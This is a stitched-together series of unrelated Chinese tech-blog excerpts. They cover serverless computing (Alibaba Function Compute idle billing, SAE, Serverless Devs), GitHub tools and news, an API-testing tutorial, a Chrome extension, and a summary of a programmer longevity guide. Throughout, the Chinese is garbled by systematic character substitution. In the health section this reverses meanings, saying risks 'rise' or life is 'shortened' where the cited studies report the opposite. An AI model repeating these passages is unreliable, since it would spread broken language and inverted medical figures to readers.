节点，以弹性、牢靠的形式执行工作。典型的工作执行子系统需具备如下性能： 工作的牢靠执行。工作一旦提交胜利，无论任何状况，零碎该当保障工作被执行。例如执行工作的节点宕机，工作该当调度到其余的节点执行。工作的牢靠执行通常是工作散发和工作执行子系统独特配合实现。共享资源池。不同类型的工作解决资源共享对立的资源池，这样能力削峰填谷，进步资源利用效率，降低成本。例如把计算密集，io密集等不同类型的任务调度到同一台 worker 节点上，就能更充沛的利用节点上的CPU，内存，网络等多个维度的资源。共享资源池对容量治理，工作资源配额治理，工作优先级治理，资源隔离提出了更高的要求。资源弹性伸缩。零碎能依据负载的执行状况伸缩执行节点资源，降低成本。伸缩的机会和数量十分要害。常见的依据工作执行节点的 CPU，内存等资源水位状况伸缩，工夫较长，不能满足实时性要求高的场景。很多零碎也应用排队工作数等指标进行伸缩。另一个值得关注的点是执行节点的扩容须要匹配上下游零碎的能力。例如当工作散发子系统应用队列来散发工作时，worker 节点的扩容要匹配队列的连贯能力。工作资源隔离。在 worker 节点上执行多个不同的工作时，资源是互相隔离的。通常应用容器的隔离机制实现。工作资源配额。用户的应用场景多样，经常蕴含多种工作类型和优先级。零碎要反对用户为不同优先级的工作或者处理函数设置资源配额，为高优先级工作预留资源，或者限度低优先级工作能应用的资源。简化工作解决逻辑的编码。好的工作解决零碎，可能让用户专一于实现单个工作解决逻辑，零碎主动并行、弹性、牢靠的执行工作。平滑降级。底层零碎的降级不要中断长时工作的执行。执行后果告诉。实时告诉工作执行状态和后果。对于执行失败的工作，工作的输出被保留到死信队列中，不便用户随时手动重试。工作执行子系统通常应用 K8s 治理的容器集群作为资源池。K8s 可能治理节点，将执行工作的容器实例调度到适合的节点上。K8s 也内置了作业（Jobs）和定时作业（Cron Jobs）的反对，简化了用户应用 Job 负载的难度。K8s 有助于实现共享资源池治理，工作资源隔离等性能。但 K8s 次要能力还是在POD/实例治理上，很多时候须要开发更多的性能来满足异步工作场景的需要。例如： ...

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作者 | 阿里云 Serverless 高级开发工程师 萧起 据说你也做过这样的技术选型小王是一名程序员，公司的利用是跑在自建机房的服务器上，所有的底层服务和运维都须要本人亲自下手来做，每次降级、机器扩容都带来比拟大的运维压力，同时为了能及时扩容堆了不少闲置的机器，机器老本始终比拟高。最近公司新开发了两个利用零碎，小王在做技术选型，打算拥抱云计算，把新利用部署在云上，设计一套高弹性、低成本、运维简略，能轻松应答业务突发流量上涨的架构计划，让本人能够把更多精力投入到业务开发中，加重本人的运维累赘。 这两个利用有几个独特的特点： 两个利用都属于在线利用，对调用提早、服务稳定性有比拟高的要求利用流量随业务变动比拟大，而且很难提前预估业务量会上涨多少，对弹性有比拟高的要求。有显著的业务低峰期，低峰期调用量比拟低，预计低峰期次要集中于早晨。利用启动工夫长：一个是 Java SpringBoot 的订单零碎，一个是基于大规格镜像的 AI 图片识别系统，启动工夫将近1分钟。小王的需要总结起来有三个： 一是心愿在运维上省事省心，交付 jar 包或者镜像后，只需简略的配置利用就能运行起来，不必专门破费精力搞运维、监控、告警。二是弹性能力要好，业务流量上涨时，能够主动地及时扩容，流量降落后，再主动缩容。三是通过应用云计算，进步资源利用率，在老本上更有劣势。上面就拆开看小王是如何一步一步进行技术选型的。 服务高度集成，免运维，高弹性在做技术选型时，小王思考过三种技术架构：SLB+云服务器+弹性伸缩的传统架构、K8s 架构、函数计算 （FC ）架构。传统架构须要本人搞 SLB 负载平衡；配置弹性伸缩服务，一直调试找到适合的伸缩策略；还要本人采集日志来创立告警和监控大盘。这一套下来运维和部署老本其实不是很低，有没有更省事的计划呢？ 小王进一步调研了 K8s 架构，k8s 的 Services 与 Ingress 规定能够治理到应用层的拜访，这样就不必本人搞SLB负载平衡了，同时应用HPA来依据利用水位来程度伸缩。这样看似很不错，但真正测试时发现，HPA的伸缩是分钟级别的，缩容慢一点倒是问题不大，但流量上涨快的时候，扩容总是延后几分钟，会导致局部申请延时增高或失败，影响了服务可用性。如果把扩容的指标阈值调低些，倒是可能解决这个问题，但同时升高了资源利用率，老本上涨了不少。另外还须要本人搞日志采集、告警和监控大盘，运维老本也有不少。而且小王之前没有接触过k8s，k8s繁多的各种概念了解起来着实也有不少的老本。 基于FC的架构可能很好的解决下面几个问题。首先，FC 反对预留模式和基于实例指标的主动伸缩能力，这种模式下可能做到更灵活和疾速的扩缩容能力，并保障在扩缩容期间申请延时放弃安稳；其次，FC高 度集成了泛滥开箱即用的性能，体验丝滑又省心，如：提供http触发器，省去对接网关、SLB的工作；控制台提供残缺的可观测能力，轻松查看申请、实例状态和运行日志。最初，FC只须要为调用和调用时应用的沉闷资源付费，无调用时不产生费用，可能充沛进步资源利用率，减低老本。 上面咱们来具体介绍下预留模式的应用，以及如何通过闲置计费来升高预留的应用老本。 预留模式，完满解决冷启动FC反对按量和预留两种应用模式，按量模式是通过申请主动触发实例的创立和扩缩容，在调用量减少时创立实例，在申请缩小后销毁实例。按量模式充沛进步了资源利用率，但对于小王这种启动工夫比拟长的利用，按量模式创立实例时会有显著的冷启动景象。为了解决这种冷启动问题，FC提供了预留的应用模式。用户配置预留后，FC会创立指定数量的预留实例常驻于零碎中，直到用户更新预留配置将其开释。当有申请时，会优先调度上预留实例上，预留实例用满后，新申请会触发按量实例的创立。同时为了使预留实例量更好地贴合业务曲线，还提供了预留定时伸缩和按指标伸缩能力，来进步预留实例的利用率。点击这里查看更多详情。 通过这样的形式，即解决了利用冷启动工夫长的问题，又保障了预留实例维持在比拟高的利用率程度。即便偶然有比拟大的流量稳定，也能够长期扩容出按量实例来响应申请，尽量保障流量疾速上涨状况下服务的品质。 闲置计费，降本大杀器在实在的应用场景中，为了保障利用申请的低延时，即便在没有申请时，也要放弃肯定数量的预留实例，这就造成了老本的回升。有没有方法既做到低延时，又做到低成本呢？函数计算为了帮忙用户升高这种场景下的应用老本，推出了预留实例的闲置计费性能，上面咱们来具体理解下这个性能。 闲置计费依据预留实例是否在解决申请，咱们将实例辨别为闲置、沉闷两种状态，并为两种状态别离设置了计费单价。沉闷计费单价与原有的资源应用单价保持一致，闲置计费单价是沉闷计费单价的20%，开启闲置计费后可能帮忙您节俭大量的老本。默认状况下，闲置计费性能处于敞开状态，此时预留模式的实例无论是否正在解决申请，FC都会为其调配CPU，并让实例始终处于沉闷状态，以保障实例在无申请时仍然能够失常运行后台任务。开启闲置计费性能后，当预留模式的实例无申请时，FC会将实例上的CPU解冻，使该实例进入闲置状态。 通过减少闲置计费，对于预留实例也做到了只为真正应用的CPU资源付费。当预留实例处于闲置时，只需领取20%的费用，就能应答实例冷启动的问题。这将帮忙用户明显降低预留实例的应用老本，同时用户也能够更少的关怀预留实例的利用率问题，放心大胆的应用预留实例。咱们以上图为例，假如预留实例的利用率为60%，原有的应用老本为1。应用闲置计费后费用为60% 1 + 40% 20% *1 = 0.68，可能带来32%的费用降落。 配置形式能够通过控制台和SDK两种形式进行预留实例和闲置计费的配置。 登录函数计算控制台，在首页->弹性治理页面抉择创立规定，即可进行『闲置计费』的配置。同时能够应用SDK进行配置，反对Java、Go、Node.js等多种语言，详情能够参考API在线调试。开启闲置计费后，能够在费用核心-账单详情-明细账单中查到弹性实例和性能实例的闲置资源应用费用（计费账单个别延时3~6小时产出）。 结语函数计算（FC）始终致力于为用户提供高弹性、免运维、低成本的全托管计算服务。本次闲置计费性能的公布，可能帮忙用户进一步升高应用预留实例的老本，让用户只为实在应用的预留资源付费。函数计算会逐渐开释更多serverless 的技术红利，在性能、老本、体验上一直为用户提供更极致的体现。 文档链接:弹性治理：https://help.aliyun.com/document_detail/185038.html计费概述：https://help.aliyun.com/document_detail/54301.html 更多内容关注 Serverless 微信公众号（ID：serverlessdevs），会集 Serverless 技术最全内容，定期举办 Serverless 流动、直播，用户最佳实际。

这个工具次要用来从 git 上获取变更的代码，而后编译相干代码，从而获取本次提交变更的 class 文件，有局部我的项目还是以增量更新的。 原理利用 git 的 api 获取提交记录的变更文件应用 maven 编译有变更的文件依据变更文件的门路找到对应编译后的文件，并记录相干信息进行打包编译模块时须要配置 maven 的目录, 须要装置 maven编译模块猜想后端能够从变更的文件外面，找到是哪些模块有变更，从而揭示用户须要编译哪些模块 增量历史当应用的多个我的项目都须要这个增量时，便能够间接从历史中拿到这个增量而无需二次操作 后续优化因为 maven 编译的速度太慢，当改变文件只有一两个时，须要大量的编译工夫，有这个工夫，我曾经在 idea 中找到编译好的文件了。 改变计划，前面筹备应用 javac 来编译，放慢编译速度的同时，能够不必依赖本地的 maven

Serverless 是近年来云计算畛域热门话题，凭借极致弹性、按量付费、降本提效等泛滥劣势受到很多人的追捧，各云厂商也在一直地布局 Serverless 畛域。然而随着工夫的倒退，Serverless 畛域也暴露出一些比较严重的问题，例如厂商锁定重大、没有适合的开发者工具、程序难以调试等。为此，Serverless Devs 应运而生。 Serverless Devs 是一个由阿里巴巴发动的 Serverless 畛域的开源我的项目，其目标是要和开发者们一起奉献一款开源凋谢无厂商锁定的 Serverless 开发者工具，心愿这个工具能够在开发者开发 Serverless 利用的全生命周期发挥作用，让开发者们能够像应用手机一样玩转 Serverless。 2022 年，Serverless Devs 再次退出中国科学院软件研究所开源软件供应链点亮打算反对下的系列高校开源流动——开源之夏 2022。本次流动旨在激励在校学生积极参与开源软件的开发保护，促成优良开源软件社区的蓬勃发展，造就和挖掘更多优良的开发者。流动联结国内外各大开源社区，针对重要开源软件的开发与保护提供我的项目工作，并面向寰球高校学生凋谢报名。 在本次流动中，你不仅能够失去和顶级 Serverless 导师学习交换的机会，通过考核的同学，还可取得一笔丰富的奖金。欢送同学们踊跃报名申请。 间接申请（或点击文末浏览原文）：https://summer-ospp.ac.cn/#/org/orgdetail/1aaa84be... 流动运作形式流动参与方次要角色为学生、社区和导师。社区提供我的项目列表和形容，并安顿我的项目对应的导师。学生可自主抉择感兴趣的我的项目进行申请，并在当选后取得该软件资深维护者（社区导师）亲自领导的机会。依据我的项目的难易水平和实现状况，参与者还将获取开源之夏流动奖金和结项证书。我的项目一览往年 Serverless Devs 在开源之夏申报了四个我的项目，四个我的项目均由社区 Maintainer 带队，难度等级为 “进阶”，题目类型笼罩了组件开发、利用开发、工具保护、插件开发等多个畛域。 Serverless 组件开发Serverless Devs 作为 Serverless 畛域的业余开发者工具，致力于在 Serverless 利用全生命周期发挥作用，随着工夫的倒退，一方面，Serverless Devs 曾经能够反对诸多厂商的 FaaS 产品，然而对于 BaaS 产品的反对比拟单薄；另一方面，Serverless Devs 应该对生态集成有更为深刻的摸索，例如资源创立和治理相干操作要交给 Terraform 等。 我的项目详情：Summer-2022 (summer-ospp.ac.cn) Serverless 利用开发Serverless Devs领有诸多的性能和组件，然而更心愿有一些针对性的案例能够对开发者和用户更敌对，助力大家能够更疾速的实现体验，所以抉择该题目的同学，须要理解Serverless架构，参加开发和设计体验案例。 我的项目详情：Summer-2022 (summer-ospp.ac.cn) Serverless Devs VSCode 插件开发作为 Serverless 利用全生命周期管理工具，Serverless Devs 目前还是以命令行的模式存在，故在开发态的反对比拟弱。抉择该题目的同学，须要理解 Serverless Devs 相干内容以及具备根本的业务开发能力，实现 Serverless Devs 的 VSCode 插件设计与开发。 ...

GitHub Desktop 旨在为寰球数百万开发者简化工作流程，GitHub Desktop 3.0 于 4 月 28 日正式公布，此版本加强了对 git 操作的改良反对，包含压抑、从新排序或批改提交。以及令人兴奋的新性能：审查你的 pull requests 状态，帮忙开发者确认代码是否的确筹备好用于生产，使 GitHub 更靠近你的本地开发工作流。 上面来看一下具体有哪些新变动。 查看 pull requests 的运行状态依据官网博文的操作批示，只需点击带有 pull request 编号的徽章，就能够开始深刻查看、工作和步骤，以便更好地理解和解决可能遇到的任何问题。 如果依然找不到查看失败的起因，你能够从新运行你的查看，以解决这个问题。用户当初还能够从新运行失败的或个别的 GitHub Action 查看。 反对高信号 pull requests 告诉泛滥应用程序中的数百个告诉总是试图引起咱们的留神，但大多数告诉只是乐音烦扰。GitHub Desktop 3.0 只会揭示你在你正解决的存储库中产生的重要告诉。 pull requests 查看失败如果不及时解决这个问题可能会导致团队成员审查与你想要合并的代码不同，或者须要在查看再次通过时申请他们的额定批准。 当这种状况产生时，GitHub Desktop 3.0 会向你显示一个零碎告诉，这将疏导你进入一个新的对话框，提供更多对于 pull requests 查看出错的细节，供团队成员审查。 审核 pull requestsGitHub Desktop 3.0 会在你的 pull requests 被审核时显示告诉，你会立刻失去你的团队成员是否要求扭转、批准，或只是评论你的 pull requests 的告诉。 如果有人要求更改或提出一些倡议，你能够疾速切换回该分支并开始解决它们。 一旦每个人都对你的更改感到称心，就会呈现绿色的复选标记。只需点击 GitHub 桌面告诉，浏览任何带有批准的最终评论，而后间接进入 GitHub，合并你的 pull requests！ ...

中转 Serverless 官网https://serverless.aliyun.com/?spm 更多内容关注 Serverless 微信公众号（ID：serverlessdevs），会集 Serverless 技术最全内容，定期举办 Serverless 流动、直播，用户最佳实际。

流动介绍GitHub Copilot 由 OpenAI 创立的新 AI 零碎 Codex 提供反对。GitHub Copilot 比大多数代码助手了解的上下文要多得多。因而，无论是文档字符串、正文、函数名还是代码自身，GitHub Copilot 都会应用您提供的上下文并合成代码以进行匹配。与 OpenAI 一起，咱们正在设计 GitHub Copilot，以便在开发人员应用它时更智能地生成平安无效的代码。 本次 CA 训练营 会带你畅玩 GitHub CoPilot，无论你是 dotNET 开发人员 ，还是 Java / Python / NodeJS 都能够用 GitHub CoPilot 来晋升。 课程内容:    GitHub CoPilot 介绍C# with GitHub CoPilotJava with GitHub CoPilotPython with GitHub CoPilot流动工夫：2022年4月28日19:30-20:30 参加形式：点击报名后，在“上课形式”中获取 课程筹备：请必须申请好 https://copilot.github.com/ 分享嘉宾 主办方  微软 Reactor 是微软为构建开发者社区而提供的一个社区空间，以“予力多元化社区建设，帮忙每一个开发者成就不凡”为使命，旨在通过不定期举办的技术讲座、开发者交流会面及技术沙龙和专题流动，帮忙开发者和初创企业理解最新技术、学习最新常识、体验最新计划、结识业界同行、扩大职场人脉。 微软最有价值专家是微软公司授予第三方技术专业人士的一个寰球奖项。29年来，世界各地的技术社区领导者，因其在线上和线下的技术社区中分享专业知识和教训而取得此奖项。  MVP 是通过严格筛选的专家团队，他们代表着技术最精湛且最具智慧的人，是对社区投入极大的激情并乐于助人的专家。MVP致力于通过演讲、论坛问答、创立网站、撰写博客、分享视频、开源我的项目、组织会议等形式来帮忙别人，并最大水平地帮忙微软技术社区用户应用 Microsoft 技术。  更多详情请登录官方网站：https://mvp.microsoft.com/zh-cn 微软 Reactor 为帮忙广开发者，技术爱好者，更好的学习 .NET Core, C#, Python，数据迷信，机器学习，AI，区块链, IoT 等技术，将每周三到周六，组织 3~5 场线上分享流动。欢送跟着咱们一起来学习。  ...

本文面向对象次要是后端开发人员API 开发好之后，咱们须要对 API 进行简略的调试，确保 API 能够跑通再提交给前端人员进行对接或者是测试人员对 API 进行测试； 在测试过程中咱们关注三个维度的数据： ► 返回状态码是否合乎预 ► 返回内容是否合乎预期 ► 接口响应的工夫，如果工夫太长即便有状态码和返回内容失常也应该视为 API 测试失败 API 测试工具以上几个维度的数据 Eoapi 统统都会展现给你，如图： 开始测试之前，咱们须要先填写测试数据~，能够点击标签页的加号新建一个测试标签页。 还能够通过点击分组 API 的闪电图标疾速对某个 API 发动测试。 测试根底信息通过类比现有的常识去学习新的常识往往更快，平时咱们个别会在浏览器里看 API 申请信息，这些信息在 Eoapi 对应的地位是什么呢？置信通过上面的对照图你很快能晓得如何在 Eoapi 测试： 申请 URL/申请形式/申请头/Query 参数 申请体申请体是 HTTP API 理论传输的内容；如果将 HTTP 类比成打电话，那么申请体就是你们理论的对话内容。 在填写申请体前，请先确认你的 HTTP 申请体格式是以下哪种： JSON{ "string": "test", "array": [{ "dom1": {}, "dom2": false, "dom3": [] }], "object": { "dom1": "", "dom2": 0 }, "null": null, "float": 11.11, "int": 1, "boolean": false}Form - data有两种格局的 Form-data (表单)数据 multipart/form-data 和 application/x-www-form-urlencoded ; ...

作者| 邓超 Serverless Devs 开源贡献者 背景咱们在 [上文 [Aliyun] [FC] 如何应用 @serverless-devs/s 部署动态网站到函数计算](https://blog.dengchao.fun/_po...) 中，具体的介绍了如何通过 @serverless-devs/s 将曾经开发好了的动态网站部署到阿里云函数计算（FC）上, 然而近期函数计算和 @serverless-devs/s 都更新了一系列的性能, 目前部署动态网站的步骤能够更为简洁了! 应用 website-fc 插件部署动态网站到 Custom Runtime 函数假如咱们当初有如下构造的前端工程： step 3.装置 @serverless-devs/s 并编写 s.yaml你问我步骤 1 和 2 去哪儿了? 当然是省掉了! 增加 @serverless-devs/s 命令行工具到工程:而后在根目录下创立一个根底的 s.yaml 配置文件: # https://github.com/devsapp/fc/blob/main/docs/zh/yaml/edition: 1.0.0name: my-awesome-website-projectservices: my-service: # 任意的名称 actions: pre-deploy: - plugin: website-fc # 在 pre-deploy 插槽中装置 website-fc 插件 component: devsapp/fc # 应用 fc 组件 props: region: cn-shenzhen # 部署到任意的可用区, 例如深圳. service: name: my-awesome-websites # 深圳可用区的 my-awesome-websites 服务 function: name: website-fc-plugin # my-awesome-websites 服务下的一个函数 runtime: custom # 应用 custom 运行环境 handler: dummy-handler # 因为应用了 custom 运行环境, 所以这里能够轻易填 codeUri: ./dist # 部署 dist 文件夹下的全部内容 triggers: - name: http type: http # 创立一个 HTTP 类型的触发器, 以便客户端能够通过 HTTP 协定进行拜访 config: authType: anonymous # 容许匿名拜访 methods: [ HEAD, GET ] # 动态网站只须要解决 HEAD 和 GET 申请就够了与上文中不同的中央在于: ...

Serverless 作为云计算的最佳实际和将来演进趋势，其全托管免运维的应用体验和按量付费的老本劣势使得它在云原生时代备受推崇。Serverless 的应用场景也由事件驱动，数据处理等局部特定场景转向更为宽泛通用化的 WEB，微服务，AI，进而在电商，互娱，出行，乃至传统行业都有浸透。 在 Serverless 的遍及与推广过程中，开发运维人员尽管认同其降本提效的外围价值，但同时被诸如厂商锁定，黑盒化，全屏蔽等一系列 Serverless 全包的个性所困扰；进而所引发的迁徙老本高，问题排查难度大，根因定界剖析艰难等痛点亟需解决。 所谓凋谢，是指用户能够解脱心智累赘的，在不变更语言利用的前提下从任意平台迁徙至 Serverless，是指用户能够即开即用的获取 Serverless 利用的全生命周期外围数据，更是指用户能够将其原有的架构与 Serverless 架构进行交融，实现云上云下云间的互通与混部。拥抱凋谢后 Serverless 将不会是须要革新以适配兼容的，可望而不可即的技术试验品，也不是一座独立进去的，与原有技术体系割裂的数据孤岛，而是承载技术开发者们现实与事实的，可能让技术变得更加普惠、通用、共享的最短门路之一。 阿里云保持在 Serverless 畛域继续投入并在技术竞争力上维持领先地位, SAE (Serveless 利用引擎)作为业界首款面向利用的 Serverless PaaS，可能提供老本更优、效率更高的一站式利用托管计划。SAE 在 2018 年外部孵化之初就秉持着零门槛，零革新的主旨进行利用（工作）的 Serverless 革新和落地实际，并且在产品的倒退历程中一直踊跃寻求被集成，增进 DEVOPS 全流程体验，三年内助力千余家客户实现利用的云原生 Serverless 化。SAE 目前已有和行将推出的性能均围绕着“拥抱凋谢”开展，上面咱们一起看看 SAE 目前所提供的产品性能个性以及它背地的思考逻辑。 Serverless 部署架构的开放性许多用户的利用其实并不是从零便开始应用 Serverless，而是出于对 Serverless 理念的认同，基于架构降级演进的诉求，冀望将原有的部署环境如物理机，云主机，Kubernetes 进行迁徙或者是混部于 Serverless 之中。那么在此场景下，利用迁徙革新的老本显得尤为重要，然而 Serverless 平缓的学习曲线和厂商生态锁定的刻板印象，令诸多开发者望而生畏。正如先前所述，SAE 主打零门槛，零革新迁徙，利用其实无需批改任何代码逻辑，便可间接部署在 SAE 当中，而对于非容器类的利用，SAE 也提供内置的镜像构建能力，并借助公布单使得全 CICD 变得流程化、自动化、可视化。上面咱们重点介绍一下跨平台的应用场景。 SAE与云主机混部SAE 反对与云主机（ECS）实例进行混部，以便于在存量迁徙的场景下实现疾速弹性，施展 SAE 的劣势，整个过程无需任何开发革新。具体的形式为，将存量 ECS 实例退出到 SAE 实例申明应用的 SLB 后端虚构服务器组中，SAE 利用在部署、扩缩容、进行、启动、重启、垂直扩缩容等场景中，会主动动静保护 SLB 后端的实例，对立对外提供服务。 SAE 与 Kubernetes 的流量互访SAE 反对与 Kubernetes(ACK) 进行流量互访，借助公网 SLB/Ingress ，或者雷同 VPC 下私网 SLB 协同 PrivateZone 内网域名解析的能力，裸露应用服务地址；亦或在微服务场景下采纳同一注册核心，均可实现在不变更原有架构的根底上，进行 SAE 实例与 Kubernetes pod 的通信与交互。 ...

最近开发了一款加强 Github 体验的 Chrome 插件 - GithubX 代码也开源了: https://github.com/riskers/gi... 痛点解决了我集体的一个痛点：Github 原生对 stars 和 gists 无奈分组和打标签，这样让我每次在查一些不罕用库的时候，总是会花很长时间查找。 看看成果能够在后盾在 star 分组和打标签了： 而后在 github 页面展现进去： 下面是对曾经 star 过的我的项目，如果你有新的 star，会主动弹窗让你操作： 自我总结这个我的项目其实应该 2 年前就做完了，始终拖到当初，也次要是本人的拖验症比较严重。 这次迭代了 3 个版本，差不多 2 周一个版本，次要用业务工夫来做这件事件。 学到了什么 React Hooks 这次是比拟深刻应用了，不再像之前一样泛泛而过了Chrome Extension 开发，积淀了一个脚手架，当前做插件会很不便：https://github.com/riskers/re...复盘 这次技术选型的思考：一开始想得太多，导致进度很慢。 存储选型 最开始本地数据是存在 localStorage 里的，不过前面分组的时候，要做到相似 One To Many 的关系查问，会很麻烦，我勉强克服了。直到要打标签的时候，我失望了，因为这是 Many To Many 关系，用 localStorage 太麻烦了。于是，应用 indexedDB 解决这种问题。 状态治理选型 一开始我认为这只是一个小我的项目，没打算上 redux。所有的状态治理都放在 context 里，后果，因为数据管理太简单，应用 context 反而让状态越来越简单，得失相当，于是用 redux 替换。查看这个 commit会更分明。 ...

Serverless 利用开发的 7 个教训心得作者说：Serverless 架构下的利用开发，与传统架构的利用开发还是有比拟大的区别点的，例如人造分布式架构会让很多框架丢失肯定的"便利性"，无状态的特点又让很多"传统架构下看起来再失常不过的操作"变得异样危险。所以本篇我会介绍一些在 Serverless 架构下，常见的利用开发注意事项，分享一些集体的实战经验心得。如果你在 Serverless 开发过程中遇到问题，无妨往下听听看吧。1、如何上传文件在传统 Web 框架中，上传文件是非常简单和便捷的，例如 Python 的 Flask 框架： f = request.files['file']f.save('my_file_path')然而在 Serverless 架构下，却不能间接上传文件，起因有以下几点： 一些云平台的 API 网关触发器会将二进制文件转换成字符串；不便间接获取和存储；此外，API 网关与 FaaS 平台之间传递的数据包有大小限度，很多平台被限度在 6M；FaaS 平台大都是无状态的，即便存储到以后实例中，也会随着实例开释而导致文件失落；因而，传统框架中罕用的上传计划，是不太适宜在 Serverless 架构中间接应用的。若是想在 Serverless 架构上传文件，能够尝试以下两种办法： 一种是 BASE64 后上传，长久化到对象存储或者是 NAS 中，这种做法可能会涉及到 API 网关与 FaaS 平台之间传递的数据包有大小限度，所以个别应用这种上传办法的通常是上传头像等小文件的业务场景；第二种上传办法是，通过对象存储等平台来上传，因为客户端间接通过密钥等信息，来将文件直传到对象存储是有肯定危险的。所以通常状况是客户端发动上传申请，函数计算依据申请内容进行预签名操作，并将预签名地址返回给客户端，客户端再应用指定的办法进行上传，上传实现之后，能够通过对象存储触发器等来对上传后果进行更新，详情如下图所示： 2、文件读写与长久化办法利用在执行过程中，可能会波及到文件的读写操作，或者是一些文件的长久化操作。在传统的云主机模式下，通常状况下是能够间接读写文件，或者将文件长久化某个目录下，然而在 Serverless 架构下却并不是这样的。 因为 FaaS 平台是无状态的，并且用过之后会被销毁，所以文件如果须要长久化并不能间接长久化在实例中，能够抉择长久化到其余的服务中，例如对象存储、NAS 等。 同时，在不配置 NAS 的状况下，FaaS 平台通常状况下之后 /tmp 目录具备可写权限，所以局部临时文件能够缓存在 /tmp 文件夹下。 3、慎用局部 Web 框架的个性函数计算（FC)是申请级别的隔离，所以能够认为这个申请完结了，实例就有可能进入到一个“静默”的状态。在函数计算中，API 网关触发器通常是同步调用_（以阿里云函数计算为例，通常只在定时触发器、OSS 事件触发器、MNS 主题触发器和 IoT 触发器等几种状况下是异步触发）_，这就意味着当 API 网关将后果返回给客户端的时候，整个函数就会进入“静默”状态，或者被销毁，而不是会继续执行完异步办法。 所以通常状况下像 Tornado 等框架就很难在 Serverless 架构下施展其异步的作用。当然，如果使用者须要异步能力，能够参考云厂商所提供异步办法，以阿里云函数计算为例，阿里云函数计算为用户提供了一种异步调用能力，当函数的异步调用被触发后，函数计算会将触发事件放入外部队列中，并返回申请 ID，而具体的调用状况及函数执行状态将不会返回。如果用户心愿取得异步调用的后果，能够通过配置异步调用指标来实现，详情如图中所示： ...

古代社会，因为工作生存压力的关系，越来越多的年老群体开始陷入各种焦虑。特地是在以后寰球疫情的大背景下，因各类因素导致生活习惯或行为变动，再加上办公、学习久坐或熬夜、饮食不法则等诸多因素，岂但影响着咱们的身体健康，重大的甚至导致死亡。 3 月 10 日，国内顶级医学期刊《柳叶刀》公布了一项钻研，该通过对 187 个国家和地区自 2020 年- 2021 年疫情期间的全因死亡率进行剖析，显示寰球相干死亡人数预计为 1820 万例。 当“养生梗”逐步在年老群体里流行起来，当“保温杯里泡枸杞”成为标配，当“朋克养生”成为大家“嗨丧”式自救的时候......越来越多的年轻人开始意识到身体健康的重要性，并开始器重如何“祛病延年”，这不，致力于“代码扭转世界”的程序员们先口头起来了。 近日，GitHub 上一个名为“HowToLiveLonger”—— 《程序员延寿指南》的我的项目，一经提交便登上了趋势热榜。目前，该我的项目已播种了 8.3k+ stars，正吸引着越来越多的开发者关注。 GitHub 地址：https://github.com/geekan/How... 《程序员延寿指南》：多活20 年的“秘籍”据理解，该《程序员延寿指南》要害结果显示：通过具体的饮食、养分的输出，行为静止的输入，以及情绪调节等因素，可升高 66.67% 全因死亡率（all-cause mortality，全因死亡率 ACM 是指肯定期间内各种起因导致的总死亡人数与该人群人口数之比），且可减少~20 年预期寿命。 《程序员延寿指南》次要对程序员的各项行为进行了剖析，包含“输出”如饮食方面包含固体、液体、气体、光照、药物，“输入”如静止、日常、睡眠，以及其余方面如体重减肥、放弃乐观情绪等。 “输出”固体：多吃辣+果蔬+坚果更长命具体而言，“输出”的固体方面：吃白肉（-3%~-11% ACM）。 钻研表明，减少红肉摄入与死亡危险相干。八年内均匀每天减少至多半份红肉摄入（半份红肉相当于14g加工红肉或40g非加工红肉）的考察对象，在接下来八年内全因死亡危险减少10％（HR, 1.10; 95%CI, 1.04-1.17）；每周吃两份红肉或加工肉类（但不包含家禽或鱼类）会使全因死亡危险减少 3%。 蔬果为主（-17%~-26% ACM）：钻研表明，吃含黄酮类食物与死亡危险升高 20% 相干。每天摄入 200 克陈腐水果可使死亡率升高 17%，糖尿病大血管并发症（如中风、缺血性心脏病等）危险升高 13%，及糖尿病小血管并发症（如糖尿病肾病、糖尿病眼病、糖尿病足病等）危险升高 28%。 多吃辣（-23% ACM）：2016 年 Plos One 的另一项来自美国的钻研以 16179名，年龄在 18 岁以上的人群为对象，并对其进行了高达 19 年的随访，发现在4946 例死亡患者中，食用辣椒的参与者的全因死亡率为 21.6％，而未食用辣椒的参与者的全因死亡率为 33.6％。相较于不吃辣或很少吃（少于每周两次）的人群，每周吃辣＞4 次的人群总死亡危险升高 23%，心血管死亡危险升高 34%。 多吃坚果（-4%~-27% ACM）：通过剖析发现，常常食用核桃能够缩短寿命，升高心血管疾病死亡危险。比起不吃核桃，每周食用核桃5份以上（1份28克）的衰弱预期寿命缩短1.3岁，全因死亡危险升高14%，心血管疾病死亡率升高25%。 此外，中量碳水、多吃植物蛋白（-10% ACM），这些都能够无效升高群因死亡率；少吃蛋黄（否则+7% ACM/0.5颗/天）。 ...

据俄罗斯媒体 Habr 报道称，近段时间至多有几十个 GitHub 账户在当地被屏蔽、禁用、清空内容等限度。这其中，包含 Sberbank、 Alfa-Bank 银行、其余公司以及集体开发商的账户。 据悉，早在往年 2 月 28 日，俄罗斯《生意人报》就曾报道称，收到了“GitHub 正在思考限度俄罗斯软件开发者拜访开源软件源代码储存库”的音讯。 紧接着 4 月初，就有媒体报道称，美国财政部已对俄罗斯联邦储蓄银行和俄罗斯最大的私人银行 Alfa-Bank 施行了全面封闭制裁。制裁措施包含解冻银行资产，禁止美国公民和公司与该银行做生意等。 对此事件，研究员 Sergey Bobrov 示意，GitHub 也屏蔽了他的集体 GitHub 账户。要害是，他和以上任何公司都没啥关系。 据走漏，当 GitHub 阻止个人帐户时，它会失去一个暂停的标记。然而，当它阻止一个公司账户时，它的状态为“已标记”。此外，当阻止公司帐户时，对存储库数据的拜访可能会保留几个小时；而当 GitHub 阻止个人帐户时，用户会立刻失去拜访权限。阻止时，问题和对其余存储库的申请将隐没。而一些被屏蔽的账户不蕴含私人存储库，只蕴含公共存储库。 一些用户收到了相干电子邮件，显示他们能够从受制裁的地区治理本人的帐户：当用户浏览电子邮件中的链接时，必须填写一份申诉书。它们还应表明该公司或用户与North Korea、 Syria、 Crimea、the LPR 以及 the DPR 的关系。 “这并不奇怪。咱们的意思是，在 2022 年 3 月 2 日，GitHub web 服务托管 IT 我的项目的代表完结了对于是否应该阻止俄罗斯开发人员的争议。该平台示意将监控状况，不会封闭所有人。在此之前，来自世界各地的开发者探讨了在俄罗斯联邦禁用 GitHub 的必要性。” 对此封禁事件，GitHub 方面公开表态称：“GitHub 的愿景是成为所有开发商的家园，无论他们住在哪里。咱们认真履行政府受权的任务，包含恪守严格的新进口管制，旨在严格限度俄罗斯取得维持其‘侵略性’军事能力所需的技术和其余物品”。 GitHub 还示意，他们将认真履行职责，彻底审查政府受权，确保用户和客户不会受到受权范畴以外的影响。这包含在 GitHub 互相关联的社区中爱护凋谢合作和信息自在流动，以反对通信、人道主义工作和组织变革。” 据 DAXX 